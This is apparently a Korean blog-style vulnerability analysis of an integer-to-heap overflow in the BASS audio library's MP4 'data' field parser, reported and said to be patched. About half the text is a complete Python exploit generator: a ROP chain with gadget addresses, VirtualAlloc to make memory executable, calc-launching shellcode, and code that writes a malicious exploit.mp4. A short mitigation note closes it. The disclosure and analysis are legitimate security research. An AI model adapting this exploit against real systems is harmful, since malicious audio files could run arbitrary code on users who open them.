Audio Library vulnerability analysis
3-4년전에 찾아서 제보했던 오디오 라이브러리에 대한 취약점 분석글입니다.
BASS는 MP3,ACC,M4P,FLAC,OGG,WAV 등 여러가지 확장자를 지원하는 오디오 라이브러리입니다. 다수 프로그램이 현재까지도 사용하고 있습니다.
취약점 분석
개요
Audio File을 파싱하던중 data 필드 부분에서 integer overflow가 발생합니다. integer overflow를 통해 복사하는 데이터의 길이보다 작은 값을 힙할당 하게 되어 Heap overflow로 이어집니다.
분석
*sub_110249B6 (strlen)
*sub_11001009 (heap alloc)
*sub_110031E6 (File Read)
첫번째 박스에서 v4가 파일에서 읽어온 값입니다. (v4-7+3)&0xFC만큼 스택을 할당하고 파일에서 읽어와 해당스택에 저장합니다. 그리고 두번째 박스에서 data 필드를 파싱할때 힙할당시 계산되는 사이즈부분에서 검증미흡으로 integer overflow가 발생하게 됩니다.
v66은 파일에서 가져온 값이며, v8은 첫번째 박스에서 할당한 스택에 있는 내용의 길이입니다. 둘의 값을 잘 조절하면, 0xffffffff의 값을 넘기게 하여 v66보다 작은값을 할당 할 수 있습니다.
v66-16 사이즈만큼 파일 데이터를 읽오다 sub_110031E6 내부에서 Heap overflow가 발생하게 됩니다.
Exploit
sub_110031E6 내부에서 qmemcpy로 파일내용을 복사한 이후에, sub_11003749가 호출됩니다.
sub_11003749 함수에서 (*(a1+0x30)) 함수포인터가 호출되게 됩니다. 이때 Heap overflow로 인해 *(a1+0x30)의 값을 마음대로 조작 할 수 있게 되어 EIP 컨트롤을 할 수 있게 됩니다.
WinDbg를 통해 디버깅을 진행해보았습니다. 함수 포인터를 호출할때, 스택상황을 보면, ESP에서 0x48만큼 떨어진거리에 아까 스택할당후 저장한 파일데이터가 존재하는것을 확인 할 수 있습니다. 해당부분에 ROP Chain을 구상하고, “add esp,0x~~;ret” 와 같은 가젯을 사용하여 ROP Chain을 실행시켰습니다.
Virtual_alloca API를 통해 rwx 권한을 주고, 그공간에 쉘코드를 복사하고 점프하여 실행시키는 ROP Chain을 작성하였습니다.
BASS 라이브러리를 사용하고 A사 프로그램에서 테스트 하였습니다. (패치완료됨)
익스플로잇 파일을 읽으면 쉘코드(calc.exe)가 실행되는것을 볼 수 있습니다.
Exploit Code
from struct import *
p32 = lambda x : pack("<L",x)
loop_cpy = ""
sub_eax = ""
shellcode = "\x90"*0x30 + "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7\xeb\xfe" + "\x90\x90"
#rop_gadget
cpy = 0x6350cbbc # mov dword ptr [eax], ecx ; pop esi ; ret
pop_ecx = 0x635070f2
inc_eax = 0x63506ad8
jmp_eax = 0x63506dad # push eax ; ret
add_esp_13c = 0x63503f0b# : add esp, 0x13c ; ret 0x13c-0x48
virtual_alloc = 0x6350f0a4
ppppr = 0x63507389 # pop edi ; pop esi ; pop ebx ; pop ebp ; ret
pop_eax = 0x63507228 #: pop eax ; ret
push_ecx_ptr = 0x6070fff1 #: push dword ptr [ecx] ; add byte ptr [eax], al ; ret 0xc
mov_eax_ebx = 0x63507484 #: mov eax, ebx ; pop esi ; pop ebx ; pop ebp ; ret
sub_eax_20 = 0x6350db86 #: sub eax, 0x20 ; pop ebx ; ret
for i in range(0,len(shellcode),4):
loop_cpy += p32(pop_ecx)
loop_cpy += shellcode[i:i+4]
loop_cpy += p32(cpy)
loop_cpy += "\x90\x90\x90\x90"
loop_cpy += p32(inc_eax)
loop_cpy += p32(inc_eax)
loop_cpy += p32(inc_eax)
loop_cpy += p32(inc_eax)
rop_chain = p32(mov_eax_ebx)
rop_chain += "\x90"*12
rop_chain += p32(pop_ecx)
rop_chain += p32(virtual_alloc)
rop_chain += p32(push_ecx_ptr)
rop_chain += "\x90"*0xc
rop_chain += p32(ppppr)
rop_chain += p32(0)
rop_chain += p32(0x10000) # size
rop_chain += p32(0x1000)
rop_chain += p32(0x40) # execution
rop_chain += "\x90"*0x10
rop_chain += loop_cpy
for k in range(0,4,1):
sub_eax += p32(sub_eax_20)
sub_eax += "\x90\x90\x90\x90"
rop_chain += sub_eax
rop_chain += p32(jmp_eax)
header = "\x00\x00\x00\x08"
header += "\x66\x74\x79\x70" # file signature
header += "\x00\x00\x00\x09" # 0x10 > 0x11 break pass
header += "\x69\x6C\x73\x74" # ilst
header += "\x00\x00\xAf\xff" # 1 read size
header += "\x6E\x61\x6D\x65" # name
header += "\x90\x90\x90\x90" # dummy
rop_space = "\x90"*0xf0 + p32(add_esp_13c) + "\x90"*0x13c
for k in range(0,0x25,1):
rop_space += p32(add_esp_13c)*0xf0
rop_space += rop_chain # 23c
rop_space += "\x90"*(0xAff3-len(rop_space))
header += rop_space
data_header = "\xff\xff\x72\xeb"
data_header += "\x64\x61\x74\x61"
data = "\x90\x90\x90" + p32(add_esp_13c)*(0xfd0/4)
f = open("exploit.mp4","w")
payload = header + data_header + data
f.write(payload)
f.close()
대응방안
integer overflow가 발생하지 않게 연산할때 오버플로우를 검증 하는코드를 추가 합니다.